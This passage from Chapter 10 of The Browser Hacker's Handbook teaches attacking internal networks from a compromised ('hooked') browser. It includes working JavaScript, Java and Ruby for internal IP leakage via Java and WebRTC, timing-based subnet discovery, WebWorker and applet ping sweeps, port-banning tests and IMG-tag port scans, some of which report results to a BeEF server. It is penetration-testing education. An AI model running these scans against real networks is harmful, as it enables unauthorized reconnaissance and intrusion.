Attacking Networks - The Browser Hacker’s Handbook (2014)

The Browser Hacker’s Handbook (2014)

Chapter 10. Attacking Networks

It’s important to remember the underlying context and technology that supports the application protocols discussed at length within the pages in front of you. HTTP depends on the underlying OSI layers just as much as any other protocol defined within the Application Layer of the OSI model.

Focusing on attacking browsers and web applications is one thing, but digging deeper into the underlying network will yield fantastic results for you. It’s at the network layer where you can obtain direct access to non-HTTP services, potentially exposing e-mail services, print services, Internet Relay Chat servers, and more.

This chapter begins by exploring methods to discover the hooked browser’s internal network configuration. That is, detecting the internal IP addresses and launching internal port scans from the browser. Armed with this information, you then focus on more advanced techniques, such as Inter-protocol Communication (IPC) and Inter-protocol Exploitation (IPE).

Of course, once you have compromised a target using IPE, you will want to connect back to your controlling device. Conventional reverse connections involve noisy communication through edge firewalls. You will explore a much more stealthy way to connect back using the BeEF Bind payload, which ricochets communication off your hooked browser.

Identifying Targets

Reconnaissance is usually the first activity you perform when trying to gain unauthorized access to systems or networks. When the source of these attacks is a browser, the requirement for proper reconnaissance is no less important. In fact, due to potential limiting factors present in browsers, getting a clear picture of network targets is often even more important.

You explored target identification methods in Chapter 9. Some of these methods are also relevant when targeting network services. Now, you take reconnaissance a step further and examine even more methods to gather information about your target.

Before kicking off port scans, you need to have an understanding of the target subnets. A good place to start is the same subnet the hooked browser is on. In the following sections, you explore methods to uncover the internal IP of a browser, and other ways to determine internal network information.

Identifying the Hooked Browser’s Internal IP

You want as much information on your target as possible with the least amount of effort. Your ideal situation is to call a JavaScript method and have it return the browser’s internal network details. This seems far-fetched, but it actually was the case until late 2012 with Firefox.

JavaScript could construct Java calls that would be executed via the JRE browser plugin. It could even instantiate the Java’s java.net.Socket class. Using this class, JavaScript could fetch the internal IP address and the hostname.

Extracting the internal network information is still possible in all browsers that can execute Java applets, but now relies on explicit user intervention. This restriction resulted from the addition of the Click to Play feature.

The following JavaScript provides an example of how to extract the internal IP address and hostname in Firefox up to version 15. From version 16, LiveConnect, and thus access to java and Packages from the DOM, was disabled1 (as discussed in the Bypassing SOP in Java section of Chapter 4).

var sock = new java.net.Socket();

var ip = "";

var hostname = "";

try {

sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));

sock.connect(new java.net.InetSocketAddress(document.domain,

(!document.location.port)?80:document.location.port));

ip = sock.getLocalAddress().getHostAddress();

hostname = sock.getLocalAddress().getHostName();

}

The bind() method opens up a listening port on the local computer, which is connected to immediately. Once connected, the getLocalAddress() method is called and returns an InetAddress object. This object exposes more methods, such as getHostAddress() to retrieve the IP, andgetHostName() to retrieve the hostname of the socket connection. Next, the code calls those methods to gather the internal network details.

Wrapping similar logic in a Java applet is still an available method to acquire this information. However, the primary limitation with this is the Click to Play restriction. Consider the following code:

import java.applet.Applet;

import java.applet.AppletContext;

import java.net.InetAddress;

import java.net.Socket;

/*

* adapted from Lars Kindermann applet

* http://reglos.de/myaddress/MyAddress.html

*/

public class get_internal_ip extends Applet {

String Ip = "unknown";

String internalIp = "unknown";

String IpL = "unknown";

private String MyIP(boolean paramBoolean) {

Object obj = "unknown";

String str2 = getDocumentBase().getHost();

int i = 80;

if (getDocumentBase().getPort() != -1){

i = getDocumentBase().getPort();

}

try {

String str1 =

new Socket(str2, i).getLocalAddress().getHostAddress();

if (!str1.equals("255.255.255.255")) obj = str1;

} catch (SecurityException localSecurityException) {

obj = "FORBIDDEN";

} catch (Exception localException1) {

obj = "ERROR";

}

if (paramBoolean) try {

obj = new Socket(str2, i).getLocalAddress().getHostName();

} catch (Exception localException2) {}

return (String) obj;

}

public void init() {

this.Ip = MyIP(false);

}

public String ip() {

return this.Ip;

}

public String internalIp() {

return this.internalIp;

}

public void start() {}

}

When compiled as an unsigned applet, the preceding code (adapted from Lars Kindermann’s work2) can retrieve the internal IP address on Java 1.6. If you embed the applet on a page, you can query the applet from JavaScript using document.get_internal_ip.ip().

With Java 1.7 update 11, Click to Play was introduced even for unsigned applets. This meant that for this technique to work, it would need user interaction. Obviously, this reduced the effectiveness when trying to attain network details about the target.

The following Java code takes the interrogation a step further. It also enumerates any other available network interfaces:

String output = "";

output += "Host Name: ";

output += java.net.InetAddress.getLocalHost().getHostName()+"\n";

output += "Host Address: ";

output += java.net.InetAddress.getLocalHost().getHostAddress()+"\n";

output += "Network Interfaces (interface, name, IP):\n";

Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();

while (networkInterfaces.hasMoreElements()) {

NetworkInterface networkInterface =

(NetworkInterface) networkInterfaces.nextElement();

output += networkInterface.getName() + ", ";

output += networkInterface.getDisplayName()+ ", ";

Enumeration inetAddresses = (networkInterface.getInetAddresses());

if(inetAddresses.hasMoreElements()){

while (inetAddresses.hasMoreElements()) {

InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();

output +=inetAddress.getHostAddress() + "\n";

}

}else{

output += "\n";

}

}

return output;

BeEF’s “Get System Info” command module uses very similar code, but extends it to include querying other Java objects such as Runtime and System. By expanding the queried objects, in addition to network information, you can examine the following:

· Number of processors available to the Java virtual machine:

Integer.toString(Runtime.getRuntime().availableProcessors())

· System memory information:

· Runtime.getRuntime().maxMemory()

· Runtime.getRuntime().freeMemory()

Runtime.getRuntime().totalMemory()

· OS name, version, and architecture:

· System.getProperty("os.name");

· System.getProperty("os.version");

System.getProperty("os.arch");

In BeEF, the Java code has already been compiled into a Java class file. When the module is executed, it loads the class file into a target’s browser with the beef.dom.attachApplet() JavaScript function. Figure 10-1 shows the output of the “Get Internal IP” module running on the latest Java 1.6 plugin.

Figure 10-1: “Get Internal IP” command module output

image

You may remember that Chapter 5 explored the Web Real Time Communications (WebRTC) standard for interfacing with a computer’s webcam as part of social engineering attacks. Another one of the proposed features of WebRTC is the peer-to-peer connections component.3

Within the DOM, this functionality is accessed through the window.RTCPeerConnection, window.webkitRTCPeerConnection, or window.mozRTCPeerConnection object, depending on the browser. The aim of this technology is to provide rich web applications with a method to provide peer-to-peer communications. For example, it allows for video chat within a web browser without relying on third-party technology, such as Flash.

At the core of this capability is the Interactive Connectivity Establishment (ICE) framework. ICE is designed to provide a method for browsers to communicate directly with other browsers. Of course, firewalls and NAT technology often prevent the direct communication between two isolated browsers. Thus, the Session Traversal Utilities for NAT (STUN) and Traversal Using Relays around NAT (TURN) concepts were constructed.4

The idea is based on relay or connection servers behaving as middle-points between two browsers. To help with the initial handshake between two browsers, the Session Discovery Protocol (SDP)5 is used. The SDP standard documents a common language to define required information between two parties so they can then establish a connection with each other. In 2013, Nathan Vander Wilt6 discovered that the implementation of RTCPeerConnection, in particular the functions used to build the SDP messages, could be used to disclose the internal IP address of the browser. The following snippet demonstrates how to acquire the internal IP address using this technique:

var RTCPeerConnection = window.webkitRTCPeerConnection

|| window.mozRTCPeerConnection;

if (RTCPeerConnection) (function () {

var addrs = Object.create(null);

addrs["0.0.0.0"] = false;

// Establish a connection with ICE / relay servers - in this instance: NONE

var rtc = new RTCPeerConnection({iceServers:[]});

// FF needs a channel/stream to proceed

if (window.mozRTCPeerConnection) {

rtc.createDataChannel('', {reliable:false});

};

// Upon an ICE candidate being found

// Grep the SDP data for IP address data

rtc.onicecandidate = function (evt) {

if (evt.candidate) grepSDP(evt.candidate.candidate);

};

// Create an SDP offer

// This kicks off the process

rtc.createOffer(function (offerDesc) {

// Grep the SDP data upon a successful offer

grepSDP(offerDesc.sdp);

// Set this offer as the local description for the RTC Peer Connection

rtc.setLocalDescription(offerDesc);

}, function (e) { // If the SDP offer fails

beef.net.send('<%= @command_url %>',

<%= @command_id %>, "SDP Offer Failed"); });

//Process new IPs as they're grepped

function processIPs(newAddr) {

if (newAddr in addrs) return;

else addrs[newAddr] = true;

var displayAddrs = Object.keys(addrs).filter(function (k) {

return addrs[k]; });

beef.net.send('<%= @command_url %>',

<%= @command_id %>, "IP is " + displayAddrs.join(" or perhaps "));

}

function grepSDP(sdp) {

var hosts = [];

//http://tools.ietf.org/html/rfc4566#page-39

sdp.split('\r\n').forEach(function (line) {

// http://tools.ietf.org/html/rfc4566#section-5.13

if (~line.indexOf("a=candidate")) {

// http://tools.ietf.org/html/rfc5245#section-15.1

var parts = line.split(' '),

addr = parts[4],

type = parts[7];

if (type === 'host') processIPs(addr);

// http://tools.ietf.org/html/rfc4566#section-5.7

} else if (~line.indexOf("c=")) {

var parts = line.split(' '),

addr = parts[2];

processIPs(addr);

}

});

}

})(); else { // Browser doesn't support RTCPeerConnection

beef.net.send('<%= @command_url %>', <%= @command_id %>,

"Browser doesn't appear to support RTCPeerConnection");

}

This code first creates an RTCPeerConnection object called rtc. This then has a handler associated to it for when an ICE candidate is detected. The code subsequently creates an SDP offer, which constructs an SDP that would normally be submitted to a peer through a relay server. However, because none are set, the requests are contained. The SDP string is then parsed to extract the internal IP address.

With this detailed information, any further attacks against the intranet can be more targeted and accurate. However, if Java or WebRTC is not available, all is not lost! You still have ways to analyze potential internal IP ranges.

Identifying the Hooked Browser’s Subnet

Discovering the internal IP address of the browser is helpful, though not a critical requirement for you to attack the internal network. The problem of finding target addresses hiding in more than 17 million (the RFC1918 address space) possibilities might seem insurmountable. However, you can make some simple extrapolations that reduce this problem into achievable chunks.

The first method to reduce the potential target range is to make educated guesses on what the internal network range might be. It is not uncommon to see 10.0.0.0/24, 10.1.1.0/24 or 192.168.1.0/24. These ranges are a good starting point. Of course, then you need to confirm your guess based on details you can extract from the browser.

In 2009, Robert Hansen discovered7 that when issuing an XMLHttpRequest cross-origin to an internal IP that is available, the response comes back quite quickly, in the order of seconds. However, if the host is down, the response comes back after a longer delay. Because the timing difference between these two situations is substantial, you can infer whether an internal network host is up or down based on the timing of the response.

You can use the following code, an augmented version of Hansen’s approach, to discover the current subnet of the hooked browser, without the need to know its internal IP:

var ranges = [

'192.168.0.0','192.168.1.0',

'192.168.2.0','192.168.10.0',

'192.168.100.0','192.168.123.0',

'10.0.0.0','10.0.1.0',

'10.1.1.0'

];

var discovered_hosts = [];

// XHR timeout

var timeout = 5000;

function doRequest(host) {

var d = new Date;

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = processRequest;

xhr.timeout = timeout;

function processRequest(){

if(xhr.readyState == 4){

var time = new Date().getTime() - d.getTime();

var aborted = false;

// if we call window.stop() the event triggered is 'abort'

// http://www.w3.org/TR/XMLHttpRequest/#event-handlers

xhr.onabort = function(){

aborted = true;

}

xhr.onloadend = function(){

if(time < timeout){

// 'abort' fires always before 'onloadend'

if(time > 10 && aborted === false){

console.log('Discovered host ['+host+

'] in ['+time+'] ms');

discovered_hosts.push(host);

}

}

}

}

}

xhr.open("GET", "http://" + host, true);

xhr.send();

}

var start_time = new Date().getTime();

function checkComplete(){

var current_time = new Date().getTime();

if((current_time - start_time) > timeout + 1000){

// to stop pending XHRs, especially in Chrome

window.stop();

clearInterval(checkCompleteInterval);

console.log("Discovered hosts:\n" +

discovered_hosts.join("\n"));

}

}

var checkCompleteInterval = setInterval(function(){

checkComplete()}, 1000);

for (var i = 0; i < ranges.length; i++) {

// the following returns like 192.168.0.

var c = ranges[i].split('.')[0]+'.'+

ranges[i].split('.')[1]+'.'+

ranges[i].split('.')[2]+'.';

// for every entry in the 'ranges' array, request

// the most common gateway IPs, like:

// 192.168.0.1, 192.168.0.100, 192.168.0.254

doRequest(c + '1');

doRequest(c + '100');

doRequest(c + '254');

}

The ranges array contains the most common default gateway IP ranges. For every entry in the ranges array, three different IPs are requested, which are again the most common default allocations. For instance, in the 192.168.0.0/24 range, three IPs are tested: 192.168.0.1, 192.168.0.100, and192.168.0.254. The process continues until every range is tested.

To keep track of progress, the checkComplete() function is called every second to verify that the timeout of six seconds has been reached. The technique uses an XHR timeout of five seconds, which is enough within internal networks. A host is discovered successfully if the XHR completes without timing out or being aborted.

Note the use of the window.stop() function to help abort the XHRs in order to prevent requests to nonexistent hosts taking longer to return. This often occurs in WebKit-based browsers like Chrome.

In Figure 10-2, you can see that 192.168.0.1 was identified.

Figure 10-2: Successful discovery of 192.168.0.1

image

Remember, performing these sorts of scanning activities from a browser may take time. One of the issues influencing the timing of these activities is the number of simultaneous network connections a browser will maintain. Like most other browser attributes, there will be variance between browsers and versions. Figure 10-3 shows the different connections per hostname and maximum connections for a number of browsers. This figure, and much more information, is available from http://www.browserscope.org.

Figure 10-3: Connections per hostname and maximum connections

image

At this stage, you might know that the hooked browser’s gateway is most likely at 192.168.0.1. The next step is identifying which hosts are alive in the 192.168.0.0/24 subnet. This is where ping sweeping comes to the rescue!

Ping Sweeping

With a target subnet known, the next step is to quickly determine which hosts are available and which are not. Let’s explore ping sweeping from the browser to achieve this.

A ping sweep, normally performed at a TCP/IP or ICMP layer, is the term for establishing which IP addresses are accessible. You can use various methods to conduct ping sweeps from the hooked browser. You examine these methods in the following sections.

Ping Sweeping using XMLHttpRequest

The following code uses the same technique used previously to discover the network gateway, but is implemented with WebWorkers for increased efficiency. Issuing requests from workers is more reliable in cases of a performance-demanding target. Even though this technique is submitting XHRs, it does not depend on the targeted IP address listening on port 80. That is right, the port doesn’t even need to be listening. Instead, it checks the timing of the XHR to determine if a host is at that IP address or not. In this example, each WebWorker executes the following code:

var xhr_timeout, subnet;

// Set range bounds

// lowerbound = 1 (192.168.0.1)

// upperbound = 50 (192.168.0.50)

// to_scan = 50

var lowerbound, upperbound, to_scan;

var scanned = 0;

var start_time;

/* Configuration coming from the code that

instantiates the WebWorker (father) */

onmessage = function (e) {

xhr_timeout = e.data['xhr_timeout'];

subnet = e.data['subnet'];

lowerbound = e.data['lowerbound'];

upperbound = e.data['upperbound'];

to_scan = (upperbound-lowerbound)+1;

// call scan() and start issuing requests

scan();

start_time = new Date().getTime();

};

function checkComplete(){

current_time = new Date().getTime();

// the check on current time is needed for Chrome,

// because sometimes XHRs they take a long time to complete

// if the host is down

if(scanned === to_scan ||

(current_time - start_time) > xhr_timeout){

clearInterval(checkCompleteInterval);

postMessage({'completed':true});

self.close(); //close the worker

}else{

// not every XHR has completed/timedout

}

}

function scan(){

// the following returns 192.168.0.

var c = subnet.split('.')[0]+'.'+

subnet.split('.')[1]+'.'+

subnet.split('.')[2]+'.';

function doRequest(url) {

var d = new Date;

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = processRequest;

xhr.timeout = xhr_timeout;

function processRequest(){

if(xhr.readyState == 4){

var d2 = new Date;

var time = d2.getTime() - d.getTime();

scanned++;

if(time < xhr_timeout){

if(time > 10){

postMessage({'host':url,'time':time,

'completed':false});

}

} else {

// host is not up

}

}

}

xhr.open("GET", "http://" + url, true);

xhr.send();

}

for (var i = lowerbound; i <= upperbound; i++) {

var host = c + i;

doRequest(host);

}

}

var checkCompleteInterval = setInterval(function(){

checkComplete()}, 1000);

This code issues an XHR for every IP of a chosen range, for instance 192.168.0.1 to 192.168.0.50. If the XHR completes in less than xhr_timeout, the destination host is deemed to be alive. If it takes longer than five seconds, the host is deemed to be down. Of course, you might want to adjust these timeouts in instances of higher latency networks.

The WebWorker controller code, used to coordinate the WebWorkers, is the following:

if(!!window.Worker){

// WebWorker code location

var wwloc = "http://browserhacker.com/network-discovery/worker.js";

var workersDone = 0;

var totalWorkersDone = 0;

var start = 0;

// Number of WebWorkers to spawn in parallel

var workers_number = 5;

// every 0.5 seconds calls checkComplete()

var checkCompleteDelay = 1000;

var start = new Date().getTime();

var xhr_timeout = 5000;

var lowerbound = 1;

var upperbound = 50; // takes about 5 seconds to create 50 XHRs for 50 IPs.

var discovered_hosts = [];

var subnet = "192.168.0.0";

var worker_i = 0;

/* Spawn new WebWorkers to handle data retrieval at 'start' position */

function spawnWorker(lowerbound, upperbound){

worker_i++;

// using eval to create WebWorker variables dynamically

eval("var w" + worker_i + " = new Worker('" + wwloc + "');");

eval("w" + worker_i + ".onmessage = function(oEvent){" +

"if(oEvent.data['completed']){workersDone++;totalWorkersDone++;}else{" +

"var host = oEvent.data['host'];" +

"var time = oEvent.data['time'];" +

"console.log('Discovered host ['+host+'] in ['+time+'] ms');" +

"discovered_hosts.push(host);"+

"}};");

eval("var data = {'xhr_timeout':" + xhr_timeout + ", 'subnet':'" + subnet +

"', 'lowerbound':" + lowerbound +", 'upperbound':" + upperbound + "};");

eval("w" + worker_i + ".postMessage(data);");

console.log("Spawning worker for range: " + subnet);

}

function checkComplete(){

if(workersDone === workers_number){

console.log("Current workers have completed.");

console.log("Discovery finished on network " + subnet + "/24");

clearInterval(checkCompleteInterval);

var end = new Date().getTime();

//window.stop();

console.log("Total time [" + (end-start)/1000 + "] seconds.");

console.log("Discovered hosts:\n" + discovered_hosts.join("\n"));

}else{

console.log("Waiting for workers to complete..." +

"Workers done ["+workersDone+"]");

}

}

function scanSubnet(){

console.log("Discovery started on network " + subnet + "/24");

spawnWorker(1, 50);

spawnWorker(51, 100);

spawnWorker(101, 150);

spawnWorker(150, 200);

spawnWorker(201, 254);

}

// first call

scanSubnet();

var checkCompleteInterval = setInterval(function(){

checkComplete()}, checkCompleteDelay);

}else{

console.log("WebWorker not supported!");

}

This code snippet is responsible for scheduling and starting individual WebWorker execution, including passing the appropriate information using postMessage(). If you have a sense of déjà vu, it is because this code is similar to that used in Chapter 9 in the discussion of Blind SQL injection exploitation. In this instance, though, it has a simpler checkComplete() function. Compared to the Blind SQLi example, there is no need to spawn additional WebWorkers other than those defined in scanSubnet(). In this example, five workers are used, with each of them handling about 50 IPs.

As you can see in Figure 10-4, in about seven seconds the whole 192.168.0.0/24 network was analyzed running the previous code with Chrome. Five hosts have been identified as alive.

Figure 10-4: Ping sweeping the 192.168.0.0/24 network

image

Note that although the technique uses the http scheme and port 80, the hosts that were successfully discovered do not need to be responsive on port 80. This is demonstrated in Figure 10-5, which shows ping sweeping against the same network, but this time from Firefox. As you can see, hosts at 192.168.0.3 and 192.168.0.4 are not running anything on port 80.

Figure 10-5: Discovered hosts - some not running a web server

image

This is a relatively reliable method to ping sweep a network for accessible hosts. By analyzing the timing of when responses timeout, you’re able to determine whether or not a host is available, regardless of whether it exposes a service on port 80.

Ping Sweeping using Java

Another approach to perform ping sweeping is by using Java. Bear in mind that, as you learned in Chapter 4, Click to Play reduces the effectiveness of using Java in your attacks because it requires explicit user intervention.

Additionally, the following approach only works if the Java Runtime Environment version is 1.6.x or below. If you want to use unsigned applets then this is the way to go. The following Java code shows the ping sweeping functionality:

import java.applet.Applet;

import java.io.IOException;

import java.net.InetAddress;

import java.net.UnknownHostException;

import java.util.ArrayList;

import java.util.List;

public class pingSweep extends Applet {

public static String ipRange = "";

public static int timeout = 0;

public static List<InetAddress> hostList;

public pingSweep() {

super();

return;

}

public void init(){

ipRange = getParameter("ipRange");

timeout = Integer.parseInt(getParameter("timeout"));

}

//called from JS

public static int getHostsNumber(){

try{

hostList = parseIpRange(ipRange);

}catch(UnknownHostException e){}

return hostList.size();

}

//called from JS

public static String getAliveHosts(){

String result = "";

try{

result = checkHosts(hostList);

}catch(IOException io){}

return result;

}

private static List<InetAddress> parseIpRange(String ipRange)

throws UnknownHostException {

List<InetAddress> addresses = new ArrayList<InetAddress>();

if (ipRange.indexOf("-") != -1) {

//multiple IPs: ipRange like 172.31.229.240-172.31.229.250

String[] ips = ipRange.split("-");

String[] octets = ips[0].split("\\.");

int lowerBound = Integer.parseInt(octets[3]);

int upperBound = Integer.parseInt(ips[1].split("\\.")[3]);

for (int i = lowerBound; i <= upperBound; i++) {

String ip = octets[0] + "." + octets[1] + "." +

octets[2] + "." + i;

addresses.add(InetAddress.getByName(ip));

}

}else{ //single ip: ipRange like 172.31.229.240

addresses.add(InetAddress.getByName(ipRange));

}

return addresses;

}

// verify if the host is up or down, given the timeout

private static String checkHosts(List<InetAddress> inetAddresses)

throws IOException {

String alive = "";

for (InetAddress inetAddress : inetAddresses) {

if (inetAddress.isReachable(timeout)) {

alive += inetAddress.toString() + "\n";

}

}

return alive;

}

}

You can inject the applet into the hooked browser using the following code snippet. It uses the beef.dom.attachApplet() function, as discussed in the Using Signed Java Applets section of Chapter 5:

var ipRange = "192.168.0.1-192.168.0.254";

var timeout = "2000";

var appletTimeout = 30;

var output = "";

var hostNumber = 0;

var internal_counter = 0;

beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep',

"http://"+beef.net.host+":"+beef.net.port+"/", null,

[{'ipRange':ipRange, 'timeout':timeout}]);

function waituntilok() {

try {

hostNumber = document.pingSweep.getHostsNumber();

if(hostNumber != null && hostNumber > 0){

// queries the applet to retrieve the alive hosts

output = document.pingSweep.getAliveHosts();

clearTimeout(int_timeout);

clearTimeout(ext_timeout);

console.log('Alive hosts: '+output);

beef.dom.detachApplet('pingSweep');

return;

}

}catch(e){

internal_counter++;

if(internal_counter > appletTimeout){

console.log('Timeout after '+appletTimeout+' seconds');

beef.dom.detachApplet('pingSweep');

return;

}

int_timeout = setTimeout(function() {waituntilok()},1000);

}

}

ext_timeout = setTimeout(function() {waituntilok()},5000);

After the pingSweep Java applet is attached to the DOM of the hooked page, document.pingSweep.getAliveHosts() is called. If the applet hasn’t finished yet, the previous call throws an exception, and the code waits another second before calling again. This process continues until the applet returns the list of hosts that are up, or the timeout of 30 seconds is reached. In either case, the DOM gets cleaned up afterward by calling beef.dom.detachApplet().

Using this technique, or the previously discussed JavaScript method, you should now have a fairly good picture of which internal network subnet the hooked browser is in, and which hosts are alive.

Port Scanning

Now that you have a relatively accurate set of available hosts, the next phase is determining what ports are open on these hosts. This phase of reconnaissance is the port scanning component. This is an important step, particularly where additional targeted attacks are going to be performed.

SPI Dynamics8 released the first public research paper on port scanning from the browser with JavaScript in 2006. The original technique, quite innovative at the time, relied on IMG tags and custom onload/onerror handlers combined with a timer.

Shortly after, Jeremiah Grossman published his research at BlackHat 2006,9 highlighting examples of delivering attacks against the intranet from the browser. Subsequently, Petko Petkov10 released the first reliable JavaScript port scanner code implementation, provided here:

scanPort: function(callback, target, port, timeout){

var timeout = (timeout == null)?100:timeout;

var img = new Image();

img.onerror = function () {

if (!img) return;

img = undefined;

callback(target, port, 'open');

};

img.onload = img.onerror;

// note that http:// is used

img.src = 'http://' + target + ':' + port;

setTimeout(function () {

if (!img) return;

img = undefined;

callback(target, port, 'closed');

}, timeout);

},

// ports_str would be something like "80,8080,8443"

scanTarget: function(callback, target, ports_str, timeout){

var ports = ports_str.split(",");

for (index = 0; index < ports.length; index++) {

this.scanPort(callback, target, ports[index], timeout);

};

}

Even though this technique is fairly old, it’s still seen as one of the more reliable port scanning methods available to you. New methods have been introduced, such as using CORS or WebSocket requests, but these have proven to be less reliable, or simply patched in modern browsers. It should be noted that Petkov’s technique is not without restraints; for instance, port banning within browsers will restrict what ports are accessible via HTTP requests.

Bypassing Port Banning

Apart from the Same Origin Policy (SOP), there is one other limiting feature in modern browsers that aims to prevent attacks on non-HTTP services. This feature, known as port banning, disallows requests to specific ports like 22, 25, 110, and 143 in an attempt to prevent browsers from issuing requests to services running on known ports.

Port Banning

Port banning is a security measure implemented by web browsers to deny connections to non-standard TCP ports. If you have a web server running on port 143 (the default port for IMAP, not HTTP), you won’t be able to connect to it. Most web servers publish web content on ports 80 and 443, or 8080 and 8443. There are some exceptions, for example with Web Services and a few other applications or protocols.

Port banning implementations are inconsistent across browsers (what a surprise!). It’s also possible to relax this security measure, but unlike other security controls, this isn’t configured with specific HTTP headers, HTML tags or attributes like with the SOP, but instead within core browser configuration options.

In Firefox you can un-ban ports by accessing the about:config URL and adding them into the network.security.ports.banned.override property.

In Chrome you have to start the browser with a specific command line option such as --explicitly-allowed-ports=PORT.

The previous JavaScript port scanning implementation used the HTTP scheme to connect to a custom TCP port. Of course, this won’t work if you try to access a port that is prohibited by the browser. Figure 10-6 shows the results of trying to connect to http://172.16.37.147:143 in Firefox.Figure 10-7 shows the Netcat listener. Note that it doesn’t receive any data from Firefox.

Figure 10-6: Error trying to connect with the HTTP protocol to port 143

image

Figure 10-7: Netcat listener (with no data received)

image

Port banning denies sending requests to certain TCP ports, and is a security feature implemented in most browsers. However, just like the SOP, port banning has implementation quirks as well. One such quirk is the different banned ports from browser to browser. For example, Chrome and Safari block the IRC default port of 6667, whereas Firefox and Internet Explorer allow it. IRC NAT Pinning techniques, as well as Inter-protocol Communication and Exploitation, depend on this behavior, as you learn later in this chapter.

Port banning was implemented as a result of the infamous “Extended HTML Form attack” from Sandro Gauci11 in 2002. Gauci performed additional research on the topic in 2008, revisiting his research with a paper called “The Extended HTML Form Attack revisited.”12 In this later paper, Gauci compiled a list of ports prohibited by port banning, including quirks between browser versions. An updated comparison of prohibited ports across multiple browsers is displayed in Figure 10-8.

The banned TCP ports listed are publicly known for open source browsers because the code can be reviewed directly. You can view the banned port numbers by reviewing Chrome’s net_util.cc13 and Firefox’s ncIOService.cpp14 files. Obviously, you can’t do this with closed source browsers like Internet Explorer.

You might like to verify which ports are actually banned in both closed source and open source browsers. You can use the following code snippets to check which TCP ports are effectively prohibited. The code is separated into the server and the client components. The server-side multi-threaded Ruby code listens for HTTP requests and verifies if a connection arrived from the client. The client-side code iterates through a range of TCP ports issuing multiple XMLHttpRequests to the server.

You also need to set up iptables to forward all TCP ports to the listening port used by the server script. Assuming that you bind the script at 192.168.0.3:10000, the following iptables rule forwards all the traffic to TCP port 10000:

iptables -A PREROUTING -t nat -i eth1 -p tcp --dport\

1:65535 -j DNAT --to-destination 192.168.0.3:10000

This means you don’t need to have a listener for every TCP port. The following Ruby code will listen on TCP port 10000:

require 'socket'

@@not_banned_ports = ""

def bind_socket(name, host, port)

server = TCPServer.new(host,port)

loop do

Thread.start(server.accept) do |client|

data = ""

recv_length = 1024

threshold = 1024 * 512

while (tmp = client.recv(recv_length))

data += tmp

break if tmp.length < recv_length ||

tmp.length == recv_length

# 512 KB max of incoming data

break if data > threshold

end

if data.size > threshold

print_error "More than 512 KB of data" +

" incoming for Bind Socket [#{name}]."

else

headers = data.split(/\r\n/)

host = ""

headers.each do |header|

if header.include?("Host")

host = header

break

end

end

port = host.split(/:/)[2] || 80

puts "Received connection on port #{port}"

@@not_banned_ports += "#{port}\n"

client.puts "HTTP/1.1 200 OK"

client.close

end

client.close

end

end

end

begin

bind_socket("PortBanning", "192.168.0.3", 10000)

rescue Exception

File.open("not_banned_browserX",'w'){|f|

f.write(@@not_banned_ports)

}

end

This code processes every connection in a different thread, parsing the HTTP request headers. The Host header is extracted because it contains the TCP port that the browser wanted to connect to. If the connection goes through, it means port banning does not prohibit the specific TCP port.

Once executed, the Ruby script will run indefinitely. If you abort the script, by hitting Ctrl+C, the list of non-banned ports will be written to a file for your analysis. Of course, before you do this, you’ll need to start the client-side component of the tests. In the browser, run the following JavaScript client-side code. It issues an XHR every 100 milliseconds to a different TCP port, iterating from port 1 to 7000:

var index = 1;

// iterates up to TCP port 7000

var end = 7000;

var target = "http://192.168.0.3";

var timeout = 100;

function connect_to_port(){

if(index <= end){

try{

var xhr = new XMLHttpRequest();

var port = index;

var uri = target + ":" + port + "/";

xhr.open("GET", uri, false);

index++;

xhr.send();

console.log("Request sent to port: " + port);

setTimeout(function(){connect_to_port();},timeout);

}catch(e){

setTimeout(function(){connect_to_port();},timeout);

}

}else{

console.log("Finished");

return;

}

}

connect_to_port();

After executing the preceding JavaScript in a collection of different browsers, you can collate the results. The following code is simply iterating through the output of the previous example. If gaps are found in the file, it means the missing port is banned, because no connection was received.

port = 1

banned_ports = Array.new

previous_port = 1

File.open('not_banned_browserX').each do |line|

current_port = line.chomp.to_i

if(current_port == port)

# go to next port

port = port + 1

elsif(port < current_port)

diff = current_port - port

diff.times do

puts "Banned port: #{port.to_s}"

banned_ports << port.to_s

port = port + 1

end

port = current_port + diff

end

end

puts "Banned port list:\n#{banned_ports.join(',')}"

Figure 10-8 shows the results of this investigation highlighting the different banned ports in Firefox, Internet Explorer, Chrome, and Safari. Where you see NO it means the port is not banned, and connections using the HTTP scheme are allowed.

Figure 10-8: Comparison of some banned ports

image

Although Chrome and Safari have exactly the same prohibited ports (and the largest number of them as well), interesting differences emerge in Firefox and Internet Explorer. IE is the most permissive browser and bans the least number of ports, only prohibiting connections to the following ports:

19,21,25,110,119,143,220,993

Together with Firefox, IE is also the only browser that allows connecting to IRC ports, which can be used for NAT Pinning and other attacks, as you discover in the next sections.

Port Scanning using the IMG Tag

The following approach is similar to Petko Petkov’s JavaScript port scanner, which was one of the components of a toolkit he created called AttackAPI.15 Javier Marcos further adapted this concept for the BeEF project, which he presented at the OWASP AppSec USA 2011 conference.16 The code is shown in the following example:

function http_scan(start, protocol_, hostname, port_){

var img_scan = new Image();

img_scan.onerror = function(evt){

var interval = (new Date).getTime() - start;

if (interval < closetimeout){

if (process_port_http == false){

port_status_http = 1; // closed

console.log('Port ' + port_ + ' is CLOSED');

clearInterval(intID_http);

}

process_port_http = true;

}

};

// call the same handler for both onerror and onload events

img_scan.onload = img_scan.onerror;

img_scan.src = protocol_ + hostname + ":" + port_;

intID_http = setInterval(function(){

var interval = (new Date).getTime() - start;

if (interval >= opentimeout){

if (!img_scan) return;

img_scan = undefined;

if (process_port_http == false){

port_status_http = 2; // open

process_port_http = true;

}

clearInterval(intID_http);

console.log('Port ' + port_ + ' is OPEN ');

}

}

, 1);

}

var protocol = 'http://';

var hostname = "172.16.37.147";

var process_port_http = false;

var port_status_http = 0; // unknown

var opentimeout = 2500;

var closetimeout = 1100;

var ports = [80,5432,9090];

for(var i=0; i<ports.length; i++){

var start = (new Date).getTime();

http_scan(start, protocol, hostname, ports[i]);

}

The results of running this code to verify the status of three non-banned TCP ports like 80, 5432, and 9090 from Firefox are shown in Figure 10-9.

Figure 10-9: Discovering open ports on a system in an internal network

image

Using this method to perform port scanning from a browser is one of the more reliable methods available. In the past, combining this with WebSocket and CORS requests, helped to increase reliability. However, many modern browsers have started to restrict this behavior. As a result, using IMGtags alone is often the quickest, least error-prone method.

Distributed Port Scanning

